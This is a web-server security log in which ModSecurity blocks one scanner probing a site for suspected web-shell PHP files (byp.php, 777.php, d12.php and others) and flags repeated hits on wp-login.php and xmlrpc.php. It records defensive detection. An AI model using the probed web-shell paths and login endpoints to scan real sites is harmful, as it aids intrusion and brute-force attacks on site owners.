[Sat Dec 13 00:06:55.495112 2025] [:error] [pid 55760:tid 55770] [client 4.193.186.94:21499] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/usep.php"] [unique_id "aTw9n1ObDQlftFDyGaxHPAAAAYg"]
[Sat Dec 13 00:06:55.800610 2025] [:error] [pid 27950:tid 27974] [client 4.193.186.94:21471] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aTw9n4VLRvkrdsSc1F3N9QAAAVY"]
[Sat Dec 13 00:06:56.071826 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:21486] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aTw9oFObDQlftFDyGaxHPwAAAYU"]
[Sat Dec 13 00:06:56.272397 2025] [:error] [pid 27950:tid 27970] [client 4.193.186.94:21403] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aTw9oIVLRvkrdsSc1F3N9wAAAVI"]
[Sat Dec 13 00:06:56.562899 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:21543] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file7.php"] [unique_id "aTw9oEG_frlY5vNXu_Ag8AAAAEs"]
[Sat Dec 13 00:06:56.775736 2025] [:error] [pid 26520:tid 26560] [client 4.193.186.94:21458] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hi.php"] [unique_id "aTw9oEG_frlY5vNXu_Ag8QAAAEg"]
[Sat Dec 13 00:06:57.170857 2025] [:error] [pid 26520:tid 26566] [client 4.193.186.94:35211] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hi.php"] [unique_id "aTw9oUG_frlY5vNXu_Ag8gAAAE4"]
[Sat Dec 13 00:06:57.375433 2025] [:error] [pid 55760:tid 55778] [client 4.193.186.94:35261] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hi.php"] [unique_id "aTw9oVObDQlftFDyGaxHQAAAAZA"]
[Sat Dec 13 00:06:57.717511 2025] [:error] [pid 60649:tid 60652] [client 4.193.186.94:21474] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hi.php"] [unique_id "aTw9oVOcUGKU3sgfHP8jKgAAAQA"]
[Sat Dec 13 00:06:57.944946 2025] [:error] [pid 26521:tid 26593] [client 4.193.186.94:20790] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/default.php"] [unique_id "aTw9oZdhcAPU617AKTDFrAAAAI4"]
[Sat Dec 13 00:06:58.139166 2025] [:error] [pid 27950:tid 27967] [client 4.193.186.94:21453] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/default.php"] [unique_id "aTw9ooVLRvkrdsSc1F3N-wAAAU8"]
[Sat Dec 13 00:06:58.408945 2025] [:error] [pid 26607:tid 26612] [client 4.193.186.94:21548] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/default.php"] [unique_id "aTw9osb_b0tOEWTL2KnHPAAAAMM"]
[Sat Dec 13 00:06:58.782466 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:21558] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/default.php"] [unique_id "aTw9opdhcAPU617AKTDFsAAAAJQ"]
[Sat Dec 13 00:06:59.039766 2025] [:error] [pid 55760:tid 55762] [client 4.193.186.94:21380] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aTw9o1ObDQlftFDyGaxHQgAAAYA"]
[Sat Dec 13 00:06:59.326623 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:21443] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aTw9o5dhcAPU617AKTDFuAAAAJA"]
[Sat Dec 13 00:06:59.566252 2025] [:error] [pid 26521:tid 26587] [client 4.193.186.94:21406] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aTw9o5dhcAPU617AKTDFvQAAAIg"]
[Sat Dec 13 00:06:59.900854 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21423] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aTw9o1ObDQlftFDyGaxHRAAAAZE"]
[Sat Dec 13 00:07:00.116369 2025] [:error] [pid 26607:tid 26628] [client 4.193.186.94:21420] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aTw9pMb_b0tOEWTL2KnHPgAAANM"]
[Sat Dec 13 00:07:00.378788 2025] [:error] [pid 60649:tid 60676] [client 4.193.186.94:21470] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aTw9pFOcUGKU3sgfHP8jLQAAARg"]
[Sat Dec 13 00:07:00.737731 2025] [:error] [pid 27950:tid 27961] [client 4.193.186.94:21387] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aTw9pIVLRvkrdsSc1F3N_QAAAUk"]
[Sat Dec 13 00:07:00.974065 2025] [:error] [pid 26607:tid 26610] [client 4.193.186.94:21392] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yasnu.php"] [unique_id "aTw9pMb_b0tOEWTL2KnHQQAAAME"]
[Sat Dec 13 00:07:01.284446 2025] [:error] [pid 27950:tid 27975] [client 4.193.186.94:20758] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r79.php"] [unique_id "aTw9pYVLRvkrdsSc1F3N_wAAAVc"]
[Sat Dec 13 00:07:01.643533 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:21541] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r79.php"] [unique_id "aTw9pZdhcAPU617AKTDFxQAAAIs"]
[Sat Dec 13 00:07:01.898944 2025] [:error] [pid 26519:tid 26533] [client 4.193.186.94:21464] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r79.php"] [unique_id "aTw9pc8TRgSGOeWqEhcWPAAAAAo"]
[Sat Dec 13 00:07:02.137929 2025] [:error] [pid 26519:tid 26529] [client 4.193.186.94:20867] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r79.php"] [unique_id "aTw9ps8TRgSGOeWqEhcWPQAAAAY"]
[Sat Dec 13 00:07:02.418685 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:20779] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/777.php"] [unique_id "aTw9plObDQlftFDyGaxHSQAAAYY"]
[Sat Dec 13 00:07:02.682759 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:35213] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/777.php"] [unique_id "aTw9plOcUGKU3sgfHP8jMAAAARI"]
[Sat Dec 13 00:07:02.910143 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:21415] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/777.php"] [unique_id "aTw9ppdhcAPU617AKTDFyQAAAJE"]
[Sat Dec 13 00:07:03.146419 2025] [:error] [pid 60649:tid 60662] [client 4.193.186.94:21519] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/777.php"] [unique_id "aTw9p1OcUGKU3sgfHP8jMgAAAQo"]
[Sat Dec 13 00:07:03.405416 2025] [:error] [pid 26607:tid 26610] [client 4.193.186.94:21436] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tech5pr.php"] [unique_id "aTw9p8b_b0tOEWTL2KnHTQAAAME"]
[Sat Dec 13 00:07:03.614527 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:21487] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tech5pr.php"] [unique_id "aTw9p5dhcAPU617AKTDFzAAAAIk"]
[Sat Dec 13 00:07:03.813146 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:21388] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tech5pr.php"] [unique_id "aTw9p0G_frlY5vNXu_Ag_wAAAEs"]
[Sat Dec 13 00:07:04.132430 2025] [:error] [pid 26519:tid 26539] [client 4.193.186.94:21424] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tech5pr.php"] [unique_id "aTw9qM8TRgSGOeWqEhcWTQAAABA"]
[Sat Dec 13 00:07:04.365011 2025] [:error] [pid 26519:tid 26529] [client 4.193.186.94:21418] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aTw9qM8TRgSGOeWqEhcWUwAAAAY"]
[Sat Dec 13 00:07:04.711173 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:35940] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aTw9qJdhcAPU617AKTDF0wAAAJA"]
[Sat Dec 13 00:07:04.983310 2025] [:error] [pid 26607:tid 26633] [client 4.193.186.94:35326] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aTw9qMb_b0tOEWTL2KnHVAAAANg"]
[Sat Dec 13 00:07:05.184657 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:21429] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aTw9qZdhcAPU617AKTDF1QAAAJI"]
[Sat Dec 13 00:07:05.393600 2025] [:error] [pid 26521:tid 26587] [client 4.193.186.94:21502] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "aTw9qZdhcAPU617AKTDF2AAAAIg"]
[Sat Dec 13 00:07:05.623282 2025] [:error] [pid 55760:tid 55776] [client 4.193.186.94:21559] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "aTw9qVObDQlftFDyGaxHUwAAAY4"]
[Sat Dec 13 00:07:05.877000 2025] [:error] [pid 26521:tid 26584] [client 4.193.186.94:20759] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "aTw9qZdhcAPU617AKTDF2QAAAIU"]
[Sat Dec 13 00:07:06.145489 2025] [:error] [pid 26607:tid 26629] [client 4.193.186.94:35244] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d12.php"] [unique_id "aTw9qsb_b0tOEWTL2KnHVQAAANQ"]
[Sat Dec 13 03:46:56.948473 2025] [:error] [pid 23322:tid 23419] [client 38.97.60.82:51166] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aTxxMOGkmarhEO9bjcj2WgAAAA0"], referer: binance.com
[Sat Dec 13 04:22:57.305650 2025] [:error] [pid 43747:tid 43770] [client 38.97.60.82:54496] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aTx5oZYw3twBd_JQEHiMcgAAABM"], referer: binance.com
[Sat Dec 13 13:00:35.756796 2025] [:error] [pid 8242:tid 8268] [client 45.154.98.18:51383] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTzy8yNKA7vSGNUfnOEVcgAAAlQ"]
[Sat Dec 13 13:00:36.355414 2025] [:error] [pid 8181:tid 8202] [client 45.154.98.18:52206] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTzy9IcsztoZQ9y1QdUP0wAAAgw"]
[Sat Dec 13 13:00:36.945306 2025] [:error] [pid 43747:tid 43760] [client 45.154.98.18:53063] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTzy9JYw3twBd_JQEHj1FgAAAAk"]
[Sat Dec 13 13:00:37.538741 2025] [:error] [pid 8242:tid 8263] [client 45.154.98.18:53376] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTzy9SNKA7vSGNUfnOEVqgAAAk8"]
[Sat Dec 13 13:00:38.127813 2025] [:error] [pid 3418:tid 3431] [client 45.154.98.18:53630] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTzy9it8_IWm3g-eIu5EpwAAAco"]
[Sat Dec 13 20:07:55.311826 2025] [:error] [pid 43836:tid 43852] [client 182.160.117.193:6446] [client 182.160.117.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.160.117.193, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aT1XG2AEOBirsxb11nb79AAAAM4"]
[Sat Dec 13 20:07:55.324744 2025] [proxy_fcgi:error] [pid 43836:tid 43852] [client 182.160.117.193:6446] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 22:36:45.181947 2025] [:error] [pid 23013:tid 23033] [client 45.128.199.118:45907] [client 45.128.199.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.118, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aT15_as9bDNWPQXUW1awvgAAA9I"]
[Sat Dec 13 22:36:45.193681 2025] [proxy_fcgi:error] [pid 23013:tid 23033] [client 45.128.199.118:45907] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 01:34:03.277278 2025] [:error] [pid 14689:tid 14708] [client 89.187.182.9:45453] [client 89.187.182.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.187.182.9, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aT2ji0Ecifvaa9I7Snl_UgAAAU8"]
[Sun Dec 14 01:34:03.372245 2025] [:error] [pid 14654:tid 14672] [client 192.42.116.203:38150] [client 192.42.116.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.203, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aT2jizqZP_N7tgSGeZcwwgAAAA8"]
[Sun Dec 14 01:34:04.581677 2025] [:error] [pid 3720:tid 3727] [client 206.123.130.11:1477] [client 206.123.130.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.123.130.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/shop/wp-login.php"] [unique_id "aT2jjO7_sgsCEY5RMYriUQAAAIU"]
[Sun Dec 14 01:34:04.940674 2025] [:error] [pid 14689:tid 14712] [client 192.42.116.203:41197] [client 192.42.116.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.203, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aT2jjEEcifvaa9I7Snl_WgAAAVM"]
[Sun Dec 14 01:34:05.286942 2025] [:error] [pid 14654:tid 14663] [client 89.187.182.9:53159] [client 89.187.182.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.187.182.9, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/blog/wp-login.php"] [unique_id "aT2jjTqZP_N7tgSGeZcwxQAAAAY"]
[Sun Dec 14 01:34:06.577400 2025] [:error] [pid 14689:tid 14693] [client 192.42.116.203:44021] [client 192.42.116.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.203, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aT2jjkEcifvaa9I7Snl_ZAAAAUA"]
